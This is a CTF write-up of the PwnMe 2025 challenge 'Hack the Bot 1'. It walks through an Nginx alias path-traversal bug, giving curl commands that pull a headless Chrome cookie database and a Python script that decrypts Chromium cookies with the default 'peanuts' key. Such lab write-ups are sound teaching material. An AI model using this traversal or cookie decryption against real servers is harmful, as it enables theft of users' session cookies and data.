Introduction

In the PwnMe 2025 CTF, I encountered an interesting web challenge called “Hack the Bot 1.” This challenge focused on exploiting path traversal vulnerabilities in a misconfigured Nginx server to gain access to sensitive data. Let’s get into the details of this challenge and how I solved it.

Challenge Overview

The challenge provided us with a web application that allowed users to report URLs for a bot to visit. The bot, implemented using Puppeteer, would visit the specified URL and store logs of its activities.

Exploring the Infrastructure

Let’s start by examining the key configuration files provided in the challenge.

Nginx Configuration

events{}
user root;

http {
    server {
        listen 80;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /logs {
            autoindex off;
            alias /tmp/bot_folder/logs/;
            try_files $uri $uri/ =404;
        }
    }
}

The Nginx configuration revealed two significant paths:

• The root application running on port 5000
• A /logs path that maps to /tmp/bot_folder/logs/

Dockerfile

FROM node:18-slim

RUN apt-get update && apt-get install -y \
    gconf-service libasound2 libatk1.0-0 libcairo2 libcups2 libfontconfig1 libgdk-pixbuf2.0-0 \
    libgtk-3-0 libnspr4 libpango-1.0-0 libxss1 fonts-liberation libappindicator1 libnss3 \
    lsb-release xdg-utils wget nginx


RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
    dpkg -i google-chrome-stable_current_amd64.deb; apt-get -fy install && \
    rm google-chrome-stable_current_amd64.deb

RUN mkdir -p /app /tmp/bot_folder/logs /tmp/bot_folder/browser_cache

COPY /source /app
COPY flag2.txt /root/
COPY nginx.conf /etc/nginx/nginx.conf

WORKDIR /app

RUN npm install

EXPOSE 80

CMD service nginx start && node app.js

The Dockerfile revealed several key details:

• The application is Node.js-based with Puppeteer for browser automation
• Chrome is installed for headless browsing
• A flag file is stored at /root/flag2.txt
• Browser cache is stored in /tmp/bot_folder/browser_cache

Application Code

The application’s main functionality was handled by the following Node.js code:

const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');

const app = express();
const port = 5000;

const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';

const cookie = {
    name: 'Flag',
    value: "PWNME{FAKE_FLAG}",
    sameSite: 'Strict'
};

app.use(express.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, 'public')));

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

if (!fs.existsSync(logPath)) {
    fs.mkdirSync(logPath, { recursive: true });
}

if (!fs.existsSync(browserCachePath)) {
    fs.mkdirSync(browserCachePath, { recursive: true });
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

async function startBot(url, name) {
    const logFilePath = path.join(logPath, `${name}.log`);

    try {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Attempting to open website ${url}\n`);

        const browser = await puppeteer.launch({
            headless: 'new',
            args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
        });

        const page = await browser.newPage();
        await page.goto(url);

        if (url.startsWith("http://localhost/")) {
            await page.setCookie(cookie);
        }

        logStream.write(`${new Date()} : Successfully opened ${url}\n`);
        
        await sleep(7000);
        await browser.close();

        logStream.write(`${new Date()} : Finished execution\n`);
        logStream.end();
    } catch (e) {
        const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
        logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
        logStream.end();
    }
}

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/report', (req, res) => {
    res.render('report');
});

app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
});

app.listen(port, () => {
    console.log(`App running at http://0.0.0.0:${port}`);
});

Vulnerability Analysis

After analyzing the provided code, I identified several key points:

1. The application creates a bot that visits URLs reported by users
2. The bot stores browser cache data in /tmp/bot_folder/browser_cache/
3. Nginx is configured with an alias directive for the /logs path
4. When visiting localhost URLs, the bot sets a cookie named ‘Flag’

The primary vulnerability lies in the Nginx configuration. When using the alias directive with certain URL patterns, it’s possible to perform path traversal attacks. This is particularly true with the configuration pattern shown in this challenge.

Exploitation

The path to exploitation became clear:

1. Have the bot visit http://localhost/ to set the Flag cookie
2. Use path traversal via the /logs endpoint to access the browser’s cookie storage

Here’s the exploitation process:

# Step 1: Have the bot visit localhost
curl http://challenge-url/report -d "url=http://localhost/"

# Step 2: Access browser cookies via path traversal
curl http://challenge-url/logs../browser_cache/Default/Cookies --output Cookies

The key insight was that the path /logs../browser_cache/ would be interpreted by Nginx as:

• Start from /tmp/bot_folder/logs/
• Go up one directory to /tmp/bot_folder/
• Then access browser_cache/

This allowed me to move outside the intended directory and access the browser’s cookie storage, which contained the flag cookie set during the bot’s visit to localhost.

Decrypting Chromium Cookies

Chromium-based browsers encrypt cookies stored on disk. Since the Docker container runs as root, the cookies are encrypted with a key accessible to the root user. After retrieving the cookie file, I needed to decrypt it.

For Chromium-based browsers, the cookies are typically encrypted using AES-GCM with a key derived from the OS’s keychain or a hardcoded value for simpler deployments. Since this was running in a Docker container with a basic setup, the encryption was using the default “peanuts” passphrase with AES-CBC and a salt of “saltysalt”.

I wrote a Python script to decrypt the cookie:

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3

def clean(x): 
    return x[:-x[-1]].decode('utf8')

# Open the cookie file
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()

# Get the encrypted cookie value
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for row in cursor.fetchall():
    _, _, _, encrypted_value = row

conn.close()

# Skip the v10 prefix
encrypted_value = encrypted_value[3:]

# Set up decryption parameters
salt = b'saltysalt'
iv = b' ' * 16
length = 16
my_pass = "peanuts".encode('utf8')
iterations = 1

# Generate key and decrypt
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

Running this script on the retrieved cookie file revealed the flag: PWNME{FAKE_FLAG} (the actual flag in the competition was different).

Conclusion

The “Hack the Bot 1” challenge demonstrated several important security concepts:

1. The dangers of misconfigured web servers, particularly when using alias directives in Nginx
2. The importance of protecting sensitive data in browser storage
3. How path traversal vulnerabilities can be exploited to access data outside intended directories

The challenge was a great reminder of how seemingly small configuration issues can lead to significant security vulnerabilities. It also highlighted the importance of understanding the security implications of using browser automation in web applications.

This challenge was particularly interesting because it combined web server misconfigurations with browser security considerations, creating a multi-step exploit path that required understanding both areas.